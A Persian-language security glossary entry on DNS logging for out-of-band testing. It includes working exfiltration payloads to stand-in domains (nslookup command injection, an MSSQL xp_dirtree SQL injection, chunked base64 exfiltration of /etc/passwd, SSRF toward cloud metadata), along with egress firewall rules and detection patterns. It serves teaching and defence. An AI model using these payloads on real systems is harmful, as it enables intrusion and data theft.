KavLabs
خانهبلاگ
KavLabs

یادداشت‌هایی از ذهن‌های کاوشگر، برای ذهن‌های کنجکاو

پرهام·پرهام·زال·زال·
· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·
نوشته‌هادسته‌بندی‌هاجستجوی پیشرفتهلاگ تغییرات

©۲٬۰۲۶ KavLabs — تمام حقوق محفوظ است

ساخته‌شده با عشق توسط پرهام و زال

واژه‌نامه
۰۷ اسفند ۱۴۰۴تست امنیتیمتوسطزبان: فارسی

لاگ DNS

متوسطنسخه انگلیسی

ثبت پرس‌وجوها و پاسخ‌های سیستم نام دامنه، نشان‌دهنده اینکه چه نام‌های دامنه‌ای جستجو شده‌اند، چه زمانی و توسط چه کسی. در تست امنیتی برای تشخیص آسیب‌پذیری‌های کور استفاده می‌شود.

dnsثبتoobنظارتکور

تعریف کوتاه

لاگ‌های DNS نشان می‌دهند چه نام‌های دامنه‌ای جستجو شده‌اند. در تست امنیتی، شما از سرور DNS خود استفاده می‌کنید و لاگ‌های آن را تماشا می‌کنید. وقتی سرور هدف your-unique-id.your-domain.com را جستجو می‌کند، آن جستجو در لاگ‌ها ظاهر می‌شود و ثابت می‌کند بهره‌برداری شما کار کرده است حتی اگر نمی‌توانید خروجی مستقیم ببینید.

تعریف کامل

لاگ‌های DNS رکوردهایی از درخواست‌ها و پاسخ‌های رزولوشن DNS هستند که پرس‌وجوهای انجام شده توسط سیستم‌ها هنگام ترجمه نام دامنه به آدرس‌های IP را ثبت می‌کنند.

آنچه لاگ‌های DNS شامل می‌شوند:

  • زمان‌مهر پرس‌وجو
  • IP منبع (چه کسی پرسید)
  • دامنه پرس‌وجو شده
  • نوع پرس‌وجو (A، AAAA، TXT و غیره)
  • پاسخ داده شده
  • زمان پاسخ

نمونه ورود لاگ DNS:

bash
12026-02-26 10:30:45 | منبع: 192.168.1.100 | پرس‌وجو: api.example.com | نوع: A | پاسخ: 93.184.216.34

در تست امنیتی:

راه‌اندازی لاگر DNS خود:

bash
1your-domain.com → سرور VPS/DNS شما

در طول تست‌ها، از زیردامنه منحصر به فرد استفاده کنید:

bash
1test-abc123.your-domain.com

وقتی هدف آن را جستجو می‌کند، لاگ نشان می‌دهد:

bash
1پرس‌وجو از 54.12.34.56 برای test-abc123.your-domain.com

ابزارهای محبوب:

  • interactsh
  • Burp Collaborator
  • RequestBin
  • سرورهای DNS سفارشی (dnslib, python)

چرا مهم است

برای تست امنیتی:

  • آسیب‌پذیری‌های کور را بدون خروجی مستقیم تشخیص می‌دهد
  • بهره‌برداری را در محیط‌های فیلتر شده تأیید می‌کند
  • زمانی که درخواست‌های HTTP مسدود هستند کار می‌کند
  • WAF و فیلترینگ را دور می‌زند
  • داده را از طریق کدگذاری زیردامنه تخلیه می‌کند

برای مدافعان:

  • تلاش‌های تخلیه داده را تشخیص می‌دهد
  • سیستم‌های به خطر افتاده را شناسایی می‌کند
  • ارتباط C2 را نظارت می‌کند
  • اتصالات خارجی غیرمجاز را پیدا می‌کند

چگونه مهاجمان از آن استفاده می‌کنند (و تست اخلاقی)

تأیید SSRF کور:

bash
1# بار تست
2POST /api/image-fetch
3{"url": "http://ssrf-test-xyz.your-domain.com/image.jpg"}
4
5# بررسی لاگ‌های DNS روی سرور شما
6$ tail -f /var/log/dns-queries.log
7پرس‌وجو از 52.1.2.3: ssrf-test-xyz.your-domain.com
8# SSRF تأیید شد! سرور جستجوی DNS انجام داد

تخلیه داده از طریق DNS:

bash
1# تزریق دستور کور
2; nslookup `whoami`.data.your-domain.com
3
4# لاگ DNS نشان می‌دهد:
5پرس‌وجو: root.data.your-domain.com
6# نام کاربری تخلیه شده: root

SQL Injection OOB:

sql
1-- تخلیه نام دیتابیس از طریق DNS
2'; DECLARE @db VARCHAR(100);
3SELECT @db = DB_NAME();
4EXEC('master..xp_dirtree "\\' + @db + '.sqli.your-domain.com\a"');--
5
6# لاگ DNS:
7پرس‌وجو: production_db.sqli.your-domain.com
8# نام دیتابیس: production_db

کدگذاری پرس‌وجوی چندگانه:

bash
1# تخلیه فایل حساس
2file_contents=$(cat /etc/passwd | base64)
3for chunk in $(echo $file_contents | fold -w 50); do
4 nslookup $chunk.exfil.your-domain.com
5done
6
7# لاگ‌های DNS فایل را در تکه‌ها دریافت می‌کنند

راه‌اندازی لاگر DNS:

python
1# لاگر DNS ساده
2from dnslib import DNSRecord, RR, QTYPE, A
3from dnslib.server import DNSServer
4import logging
5
6logging.basicConfig(level=logging.INFO)
7
8class DNSLogger:
9 def resolve(self, request, handler):
10 reply = request.reply()
11 qname = request.q.qname
12
13 # ثبت پرس‌وجو
14 logging.info(f"پرس‌وجوی DNS: {qname} از {handler.client_address[0]}")
15
16 # هر IP را برگردان (برای ثبت مهم نیست)
17 reply.add_answer(RR(qname, QTYPE.A, rdata=A("1.2.3.4"), ttl=0))
18 return reply
19
20server = DNSServer(DNSLogger(), port=53, address="0.0.0.0")
21server.start()

چگونه تشخیص یا پیشگیری کنیم

پیشگیری (دفاعی):

کنترل‌های شبکه:

bash
1# مسدود کردن DNS خروجی به جز سرورهای مورد اعتماد
2iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
3iptables -A OUTPUT -p udp --dport 53 -j DROP
4
5# استفاده از فایروال DNS
6# فقط سرورهای DNS سازمانی را مجاز کنید

نظارت بر الگوهای DNS:

python
1# هشدار در مورد الگوهای مشکوک
2def analyze_dns_query(query):
3 # زیردامنه به طور غیرعادی طولانی
4 if len(query) > 100:
5 alert("تخلیه داده احتمالی از طریق DNS")
6
7 # زیردامنه تصادفی به نظر می‌رسد
8 if contains_base64_or_hex(query):
9 alert("داده کدگذاری شده در پرس‌وجوی DNS")
10
11 # دامنه‌های OOB شناخته شده
12 if any(pattern in query for pattern in ['burpcollaborator', 'interact.sh']):
13 alert("دامنه تست امنیتی شناخته شده")
14
15 # پرس‌وجوهای زیاد به یک دامنه ناشناخته
16 if query_frequency(domain) > 100:
17 alert("تونل‌زنی DNS احتمالی")

تشخیص (به عنوان تست‌کننده، تماشای لاگ‌های خود):

تحلیل آنچه می‌بینید:

bash
1# بررسی لاگ‌ها
2grep "پرس‌وجو:" /var/log/dns.log
3
4# جستجوی الگوها:
5- IP منبع = IP سیستم هدف؟ (تأیید می‌کند از هدف می‌آید)
6- زمان‌بندی با تست شما مطابقت دارد؟ (همبستگی را تأیید می‌کند)
7- فرمت زیردامنه با بار مطابقت دارد؟ (تأیید می‌کند کار کرده)

نظارت خودکار:

bash
1# هشدار در مورد پرس‌وجوهای جدید
2tail -f /var/log/dns.log | while read line; do
3 echo "[$(date)] پرس‌وجوی DNS جدید شناسایی شد!"
4 echo $line
5 # ارسال اعلان
6done

باورهای غلط رایج

  • "ثبت DNS نیاز به راه‌اندازی خاص دارد" - برای اکثر سرورها استاندارد است
  • "نمی‌توان داده زیادی از طریق DNS تخلیه کرد" - ۲۵۵ کاراکتر در هر برچسب، پرس‌وجوهای متعدد
  • "پرس‌وجوهای DNS رمزنگاری شده هستند" - معمولاً متن ساده (مگر DoH/DoT)
  • "مسدود کردن HTTP همه چیز را مسدود می‌کند" - DNS اغلب هنوز مجاز است
  • "لاگ‌های DNS مهم نیستند" - برای تشخیص بهره‌برداری‌های کور حیاتی هستند

مثال واقعی

تخلیه DNS در حمله APT

bash
1# بدافزار داده‌های دزدیده شده را در پرس‌وجوهای DNS کدگذاری کرد
2# الگوی دیده شده در لاگ‌ها:
3
454686973206973207365637265742064617461.exfil.attacker.com
54d6f7265207365637265742064617461.exfil.attacker.com
6...
7
8# base64 رمزگشایی شد: "این داده مخفی است"
9# گیگابایت داده در هفته‌ها از طریق DNS تخلیه شد

باگ بانتی - کشف SSRF کور

bash
1# هدف: پلتفرم تجارت الکترونیک
2# ویژگی: واکشی تصویر محصول از URL
3
4# بار:
5POST /admin/fetch-image
6{"url": "http://ssrf-12345.researcher.com/image.jpg"}
7
8# لاگ DNS روی VPS محقق:
9[2026-02-26 10:30:12] پرس‌وجو از 54.xxx.xxx.xxx: ssrf-12345.researcher.com
10
11# SSRF کور تأیید شد!
12# تست بیشتر با سرویس متادیتا:
13{"url": "http://169.254.169.254/"}
14
15# اگر متادیتا قابل دسترسی باشد، لاگ DNS نشان می‌دهد:
16# (برخی پیاده‌سازی‌ها ابتدا پرس‌وجوی DNS انجام می‌دهند)

SQLi کور از طریق DNS

sql
1-- سناریوی تست نفوذ واقعی
2-- هدف: برنامه مراقبت بهداشتی
3-- آسیب‌پذیری: تزریق SQL کور در پارامتر جستجو
4
5-- بار:
6search=test';
7DECLARE @v VARCHAR(8000);
8SET @v = (SELECT TOP 1 table_name FROM information_schema.tables);
9EXEC('master..xp_dirtree "\\'+@v+'.sqli.tester.com\a"');--
10
11# لاگ DNS نشان داد:
12پرس‌وجو: patients.sqli.tester.com
13
14-- تزریق SQL تأیید شد
15-- نام جدول تخلیه شده: "patients"
16-- پرس‌وجوهای بعدی اطلاعات حساس بیشتری استخراج کردند

اصطلاحات مرتبط

DNS, Out-of-Band, Blind SSRF, VPS, Data Exfiltration

منابع و مراجع

  • www.cloudflare.com/learning/dns/what-is-dns

مفاهیم مرتبط

سیستم نام دامنه(DNS)

سیستمی که نام‌های دامنه (مثل google.com) رو به آدرس‌های IP تبدیل می‌کنه تا مرورگرها بتونن وب‌سایت‌ها رو پیدا کنن.

سرور خصوصی مجازی(VPS)

یک ماشین مجازی که به عنوان سرویس فروخته می‌شود، به شما منابع سرور اختصاصی بدون سخت‌افزار فیزیکی می‌دهد. برای میزبانی وب‌سایت‌ها، برنامه‌ها یا در تست امنیتی به عنوان زیرساخت حمله استفاده می‌شود.